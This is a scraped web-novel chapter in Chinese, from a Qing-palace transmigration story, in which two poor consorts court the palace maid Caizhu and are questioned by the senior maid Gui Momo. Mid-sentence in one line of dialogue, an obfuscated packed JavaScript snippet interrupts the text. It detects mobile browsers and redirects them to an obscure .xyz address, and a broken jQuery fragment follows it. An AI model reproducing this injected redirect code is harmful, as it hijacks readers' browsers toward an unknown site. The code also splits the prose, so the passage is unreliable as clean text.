5. 第 5 章

作品:《老常在(清穿)

    晚间,二人洗漱过后,马薇特意用了今儿刚得的新炭放在炭炉里:“今儿晚上可终于能睡个好觉了!”


    月答应不知道从哪个犄角旮旯里找出来个旧式汤婆子,铜制的柄处早已长出了铜绿,沾上了杂质,灰扑扑的。


    她将汤婆子灌的满满的,然后放在炭炉上面:“待会儿咱们抱着这个睡,肯定暖和!”


    这些炭到底火力旺,不消一刻钟时间,汤婆子便触手发烫,月答应小心翼翼地把汤婆子拎到被褥里,摸索着力求将被褥的每一块都盖上汤婆子的温度。


    “这水明天再借着炭炉的余温,刚好可以用来洗漱。”马薇搓搓手,钻进了被窝里。


    月答应收了尾也钻了进来,汤婆子放在二人中间,像个小火炉,让人安心。


    一夜好睡。


    之后的日子里,马薇和月答应也算搭上了彩珠这条线,时常寻个机会和彩珠唠唠家常,说些话,拉进拉进关系,当然,很多时候也不是空手的,银钱上面不敢露白,但旁的东西可是送了彩珠不少。


    尤其是月答应的绣活儿,不拘是帕子,还是做的里衣,甚至是小孩子玩的布娃娃,都送过。


    彩珠一应份例都是有的,不缺吃穿,但她自小儿便进宫做宫女伺候人,从来都是她捧着主子娘娘们,包括像桂嬷嬷这样的大宫女,鲜少有人来吹捧她。


    马佳常在和月答应再怎么落魄,那也是正经主子,她们二人对她的吹捧,大大满足了她的自尊心,便也时常在桂嬷嬷面前提及二人是如何不易。


    桂嬷嬷在这宫里几十年了,眼睛尖的很,彩珠那点儿小心思,怎么能瞒的过她去?


    这一日,彩珠又说起后头的马佳常在和月答应是如何如何不容易。


    桂嬷嬷没有立即回话,从荷包里掏出了些瓜子仁儿慢慢嚼,嚼得彩珠面上尴尬,说话的声音越来越小,最后闭了嘴,只用一双眼睛打量着桂嬷嬷的神色。


    “怎么不说了?”桂嬷嬷终于开口。


    “我……”彩珠小声嗫嚅着,“我这不是瞧您不愿意听嘛……”


    “嗬!”桂嬷嬷轻挑眉,“哪是我不愿意听啊,你自己想想,这些天你提了她们多少回?耳朵都听出茧子了!”


    彩珠闻言,只得尴尬地笑笑。


    “她们求到你面前了?”桂嬷嬷语气不急不缓。


    “您老人家慧眼如炬,一眼就看出来了。”彩珠脸上带着讨好的笑,有些不好意思。


    “说说吧,你收了她们什么好处,这么为她们说话?”瓜子仁儿嚼得有些口干,桂嬷嬷抿了口茶水压压。


    “她们都过成那样了,能从她们手里得什么好处?”彩珠忙否认,“不过是她们常对我诉苦,我看着她们也实在可怜,所以才在您面前为她们说上几句话。”


    “您要是不喜欢听,我以后不提她们就是。”


    桂嬷嬷原意只是提点一下彩珠,这延春阁里,不能有事瞒着她的眼睛,但彩珠不肯说实话,倒真激起了她的几分脾气。


    “我可没说这话,”她嘴角似笑非笑,轻哼了一声,“她们什么时候搭上你的?怎么跟你说的?送了你什么东西?都给我一五一十地说清楚!”


    说到最后,“啪”的一声,她的手拍在桌子上,力道不轻不重,但足够震慑人。


    彩珠忙吓得跪了下来,庆太妃极为信任桂嬷嬷,桂嬷嬷对着她们这些宫女是有“生杀”大权的,只是桂嬷嬷平常一直好颜色,不怎么动气的。


    惊吓之下,便一五一十地将马薇与月答应如何讨好她,送她的小玩意,以及想要她帮衬一下她们的事都告诉了桂嬷嬷。


    “真没有拿她们什么东西!”彩珠哭诉,“就是些她们自己做的针线活儿,不值钱的小玩意儿,我现在就可以拿出来给嬷嬷瞧!”说着,她就要起身回自己的屋子。


    “不许动!跪着!”


    桂嬷嬷没有轻拿轻放:“她们找了你,你就该把事情原原本本地告诉我,而不是想做什么中间人,知道吗?”


    “当我不知道你的心思?”


    彩珠从没见过这样的桂嬷嬷,吓得两股战战,两道泪痕犹自洇着,小声啜泣,不敢再言语。


    马薇和月答应正聊着家常,帮着月答应扯线头,却见彩珠一路小跑,着急忙慌地跑了过来,连头上的二把头都歪了。


    二人对视一眼,这是怎么了?


    彩珠跑到近前来,险些摔了一跤,幸亏二人手脚快,扶住了她。


    “怎么了,彩珠姑娘?”马薇看着彩珠尚有泪痕的脸,心下也有些害怕,开口问道。


    “唉,都是因为你们!”彩珠抱怨道,“桂嬷嬷找你们呢,快跟我去吧。”


    这是?二人意欲再问,但彩珠并无心思与她们多说,只在前头带路,只是腿有些一拐一拐的,还扶着膝盖,不知是不是方才险些摔跤在地的缘故。


    彩珠领着她们到了延春阁主殿旁的一间不起眼的小屋子内,这屋子用作杂物房的,平日里无人来,里头的杂物上面都覆了一层灰,马薇进去的时候被呛得咳了两声。


    屋子里却站着一个人。


    这人看上去有些年纪,体型有些壮硕,梳的二把头有些粗大,看上去就是比旁人的要大上一号,鬓边簪了些珍珠,绿松石的首饰,看上去体面又不出挑。


    此刻她的面容看上去倒算和蔼,但是一双不大的眼睛却闪烁着精光,马薇和月答应刚一进门,就被她不着痕迹地打量了遍。


    而马薇一看见她,也在脑海中搜寻起了她的相关信息。


    延春阁掌事大宫女,庆太妃的心腹,桂嬷嬷。


    月答应显然也认出了她,在后面偷偷拉着马薇的衣襟。


    显然,如今情形有些尴尬。


    桂嬷嬷虽是宫女,但是却握有实权,马薇和月答应白担了主子的虚名,实则日子过得苦哈哈,倒不知该怎样见礼了。


    最终,还是桂嬷嬷半步上前,微微屈了半身:“马佳常在,月答应,有礼了。”


    马薇和月答应也忙福了半身,然后将桂嬷嬷扶起来。


    桂嬷嬷也不拐弯抹角的,对着彩珠使了个眼色,彩珠便退着身子出了门,临走前还将门给带上了。


    “听彩珠说,二位小主,近况不佳?”她直接问道。


    马薇面上有些羞赧,这桂嬷嬷说话也太直接了些,有些纠结地开口:“是啊,让嬷嬷笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033167|162343||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话了,还多亏嬷嬷前些日子拨的炭,不然这冬天可真不好熬。”


    “小事一桩,”桂嬷嬷面有矜色,“听闻马佳常在前些日子还晕厥过去了,如今身子可还好全了?”


    “劳烦嬷嬷挂心了,”马薇直视着桂嬷嬷打量的眼神,“就那两天身上不爽利,早已好了。”


    桂嬷嬷拉着二人闲话了些许,倒是觉出了些许异样。


    她也不是没跟这两个人打过交道,这月答应么,还是同往常一样,胆子小,畏畏缩缩的,躲在马佳常在后面,不点到她,就一直缩着脑袋不说话。


    这马佳常在,倒是……


    她印象里,马佳常在这个人性子有点执拗,但是执拗又执拗不到点上,那内务府克扣她,她从来也不闹,旁的人自然也就是冷眼旁观,谁会为了她去得罪内务府?


    不闹却又不服软,犟犟的,苦头全让自己吃了。


    但是今儿个这番说话交流,不说有多好,也算是进退得宜,说的话像是个场面上的人。


    这是,转性儿了?


    马薇这边脑子里也思量开了,这桂嬷嬷说了一通,言谈间并没有什么恶意,不过,刚才彩珠的样子分明是被责骂过了,也不知到底是怎么个章程。


    思来想去,她还是觉得,直接开口比较好。


    “论理,太妃娘娘与我们同居延春阁,虽说都是寡居,不讲究那些个了,但我们也该时常来向太妃娘娘请个安,”马薇斟酌着开口,“若是太妃娘娘看我们勤谨,能关照则个……”


    这话里的意思很明白了。


    桂嬷嬷不知这马佳常在为何变化这么大,但不论是她还是庆太妃其实都没和马佳常在有什么真的过节,人家过来示好了,也不好把人往外推。


    “常在的意思,我明白了,待我将常在的这份心回禀太妃娘娘过后,娘娘也会欢喜的。”


    桂嬷嬷这话虽没打包票,但话里的意思那就是有戏,马薇和月答应忙连声道:“那便劳烦桂嬷嬷了!”


    二人又与桂嬷嬷说了会儿话,然后才欣喜离开。


    晚间,桂嬷嬷伺候着庆太妃脱簪梳洗,将二人的事说与她听。


    庆太妃听了倒是一愣,摘耳环的手顿了一下:“她们俩?”


    “是呀,”桂嬷嬷一边帮她梳着头发,一边回道,“也不知怎么的,这马佳常在像变了个性子似的,娘娘也该见见,如今说话软和得很!”


    “是吗?”庆太妃奇道,“我一直觉得她性子别扭,不讨人欢喜,若非美貌,决计不能得康熙爷的青睐的,这么些年,也从没在我面前低过头。”


    “她前些日子不是还自己还小小办了一场生日宴?压根儿没到我这边来说过,这才几天,就变化这么大?”


    耳听为虚,眼见为实,桂嬷嬷也知光凭自己一张嘴,确实很难让庆太妃相信。


    “娘娘若是不信,招了她来,一瞧便知。”


    “你这倒是真勾起了我的兴致!”


    庆太妃面上露出了几分轻谑的笑,然而这笑却在她看见自己的白发时戛然而止。


    半晌,才道:“都是老白菜梆子了,罢了罢了,没的这副看好戏的姿态,没意思!”